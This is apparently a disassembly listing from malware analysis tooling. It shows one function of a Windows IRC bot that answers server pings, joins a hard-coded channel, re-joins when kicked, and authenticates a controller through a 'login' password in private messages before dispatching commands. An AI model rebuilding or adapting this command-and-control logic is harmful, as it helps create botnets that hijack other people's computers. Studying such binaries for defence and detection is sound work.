Function at 0x403d68
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x450], 3
and dword [ebp - 0x24c], 0
xor ebx, ebx
push 0x200
push 0
lea eax, [ebp - 0x246]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov ecx, esi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403da5
mov edx, eax
sub edx, 1
cmp byte [esi + edx], 0xa
je 0x403dce
lea ecx, [esi]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403dbc
mov edx, eax
sub edx, 1
cmp byte [esi + edx], 0xd
jne 0x403de5
mov ecx, esi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403dd3
mov edx, eax
sub edx, 1
mov byte [esi + edx], 0
jmp 0x403da0
mov ecx, esi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403dea
cmp eax, 3
jae 0x403e00
mov eax, 0
jmp 0x4043f2
push 0x1ff
push esi
lea eax, [ebp - 0x44c]
push eax
call sub.CRTDLL.DLL_strncpy
push 0x413ae1
lea eax, [ebp - 0x44c]
push eax
call sub.CRTDLL.DLL_strtok
add esp, 0x14
mov dword [ebp - 0x14], eax
xor edi, edi
inc edi
push 0x413ae1
push 0
call sub.CRTDLL.DLL_strtok
add esp, 8
mov dword [ebp + edi*4 - 0x14], eax
inc edi
cmp edi, 5
jl 0x403e2c
mov eax, dword [ebp - 0x14]
cmp byte [eax], 0xa
jne 0x403e50
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0
je 0x403e5c
cmp dword [ebp - 0x10], 0
jne 0x403e63
xor eax, eax
jmp 0x4043f2
push dword [ebp - 0x14]
push str.PING
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x403eb7
mov eax, dword [ebp - 0x10]
inc eax
push eax
push str.PONG__s_r_n
lea eax, [ebp - 0x246]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea ecx, [ebp - 0x246]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403e99
push 0
push eax
lea edx, [ebp - 0x246]
push edx
push dword [ebp + 0xc]
call sub.wsock32.dll_send
jmp 0x403fb9
push dword [ebp - 0x10]
push 0x413359
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x403edf
push dword [ebp - 0x10]
push 0x413355
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x403f51
lea eax, str.xTriplex
or eax, eax
je 0x403f09
push str.xTriplex
push str._xXx_
push str.JOIN__s__s_r_n
lea eax, [ebp - 0x246]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
jmp 0x403f22
push str._xXx_
push str.JOIN__s_r_n
lea eax, [ebp - 0x246]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea ecx, [ebp - 0x246]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403f2b
push 0
push eax
lea edx, [ebp - 0x246]
push edx
push dword [ebp + 0xc]
call sub.wsock32.dll_send
push dword [ebp + 0xc]
call fcn.004043f7
add esp, 4
jmp 0x403fb9
push dword [ebp - 0x10]
push 0x41333a
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x403f79
push dword [ebp - 0x10]
push 0x413336
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x403fb9
call fcn.00402e15
push 0x40bec0
push str.NICK__s_r_n
lea eax, [ebp - 0x246]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea ecx, [ebp - 0x246]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403fa0
push 0
push eax
lea edx, [ebp - 0x246]
push edx
push dword [ebp + 0xc]
call sub.wsock32.dll_send
cmp dword [ebp - 0xc], 0
jne 0x403fc6
xor eax, eax
jmp 0x4043f2
push dword [ebp - 0x10]
push 0x413328
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x403fe8
push dword [ebp - 8]
push dword [ebp + 0xc]
call fcn.0040452d
add esp, 8
push 0x31
mov eax, dword [ebp - 0x14]
inc eax
push eax
lea eax, [ebp - 0x46]
push eax
call sub.CRTDLL.DLL_strncpy
push 0x413a6a
lea eax, [ebp - 0x46]
push eax
call sub.CRTDLL.DLL_strtok
push dword [ebp - 0x10]
push str.NICK
call sub.CRTDLL.DLL_strcmp
add esp, 0x1c
or eax, eax
jne 0x40405e
xor edi, edi
lea eax, [ebp - 0x46]
push eax
imul eax, edi, 0x32
lea eax, [eax + 0x4125fc]
push eax
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x404058
imul edx, edi, 0x32
lea edx, [edx + 0x4125fc]
or edx, edx
je 0x404058
push dword [ebp - 0xc]
imul eax, edi, 0x32
lea eax, [eax + 0x4125fc]
push eax
call fcn.00407b2c
inc edi
cmp edi, 0xa
jl 0x40401c
push dword [ebp - 0x10]
push str.QUIT
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x404086
push dword [ebp - 0x10]
push str.PART
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4040ce
xor edi, edi
lea eax, [ebp - 0x46]
push eax
imul eax, edi, 0x32
lea eax, [eax + 0x4125fc]
push eax
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4040c8
imul edx, edi, 0x32
lea edx, [edx + 0x4125fc]
or edx, edx
je 0x4040c8
push 0x32
push 0
imul eax, edi, 0x32
lea eax, [eax + 0x4125fc]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
inc edi
cmp edi, 0xa
jl 0x404088
cmp dword [ebp - 8], 0
jne 0x4040db
xor eax, eax
jmp 0x4043f2
push dword [ebp - 8]
push str._xXx_
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x40415d
push dword [ebp - 0x10]
push 0x41331a
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x404153
push dword [ebp - 0x10]
push 0x413316
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x404153
push dword [ebp - 0x10]
push 0x413312
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x404153
push dword [ebp - 0x10]
push 0x41330e
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x404153
push dword [ebp - 0x10]
push 0x41330a
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x40415d
mov eax, 4
jmp 0x4043f2
push dword [ebp - 0x10]
push str.KICK
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x404210
xor edi, edi
push dword [ebp - 8]
imul eax, edi, 0x32
lea eax, [eax + 0x4125fc]
push eax
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4041b6
imul edx, edi, 0x32
lea edx, [edx + 0x4125fc]
or edx, edx
je 0x4041b6
push 0x32
push 0
imul eax, edi, 0x32
lea eax, [eax + 0x4125fc]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
inc edi
cmp edi, 0xa
jl 0x404177
push dword [ebp - 8]
push 0x40bec0
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x404210
push str.xTriplex
push str._xXx_
push str.JOIN__s__s_r_n
lea eax, [ebp - 0x246]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
lea ecx, [ebp - 0x246]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4041f7
push 0
push eax
lea edx, [ebp - 0x246]
push edx
push dword [ebp + 0xc]
call sub.wsock32.dll_send
push dword [ebp - 0x10]
push str.PRIVMSG
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x404248
push dword [ebp - 0x10]
push 0x4132f9
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4043ec
cmp dword [0x412094], eax
je 0x4043ec
push dword [ebp - 0x10]
push str.PRIVMSG
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x404333
push 0x413a66
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_strstr
add esp, 8
or eax, eax
jne 0x40427a
lea eax, [ebp - 0x46]
mov dword [ebp - 0xc], eax
xor edi, edi
lea eax, [ebp - 0x46]
push eax
imul eax, edi, 0x32
lea eax, [eax + 0x4125fc]
push eax
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4042a8
imul edx, edi, 0x32
lea edx, [edx + 0x4125fc]
or edx, edx
je 0x4042a8
xor ebx, ebx
inc ebx
inc edi
cmp edi, 0xa
jl 0x40427c
mov eax, dword [ebp - 8]
inc eax
push eax
push str.login
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x404343
cmp dword [ebp - 4], eax
je 0x404343
or ebx, ebx
je 0x4042d4
xor eax, eax
jmp 0x4043f2
and dword [ebp - 0x45c], 0
imul eax, dword [ebp - 0x45c], 0x32
cmp byte [eax + 0x4125fc], 0
jne 0x404322
push dword [ebp - 4]
push 0x412044
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x404322
lea eax, [ebp - 0x46]
push eax
imul eax, dword [ebp - 0x45c], 0x32
lea eax, [eax + 0x4125fc]
push eax
call fcn.00407b2c
xor ebx, ebx
inc ebx
xor eax, eax
jmp 0x4043f2
inc dword [ebp - 0x45c]
cmp dword [ebp - 0x45c], 0xa
jl 0x4042db
jmp 0x404343
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x450], 4
or ebx, ebx
jne 0x404362
push dword [ebp - 0x10]
push 0x4132f9
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x404362
xor eax, eax
jmp 0x4043f2
push dword [ebp - 8]
push 0x4132ed
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4043b7
cmp dword [ebp - 4], eax
je 0x4043b7
push 0x4132ea
push esi
call sub.CRTDLL.DLL_strstr
mov edi, eax
push 0x413ae1
mov eax, edi
inc eax
push eax
call sub.CRTDLL.DLL_strstr
mov ebx, eax
push dword [ebp - 0xc]
mov eax, ebx
inc eax
push eax
push dword [ebp - 4]
mov eax, dword [ebp + 0xc]
push eax
push eax
call fcn.004016a2
add esp, 0x24
mov dword [ebp - 0x24c], eax
jmp 0x4043ec
push 0x4132ea
push esi
call sub.CRTDLL.DLL_strstr
mov edi, eax
push dword [ebp - 0xc]
mov eax, edi
add eax, 2
push eax
mov esi, dword [ebp - 0x450]
mov esi, dword [ebp + esi*4 - 0x14]
inc esi
push esi
mov esi, dword [ebp + 0xc]
push esi
push esi
call fcn.004016a2
add esp, 0x1c
mov dword [ebp - 0x24c], eax
mov eax, dword [ebp - 0x24c]
pop edi
pop esi
pop ebx
leave
ret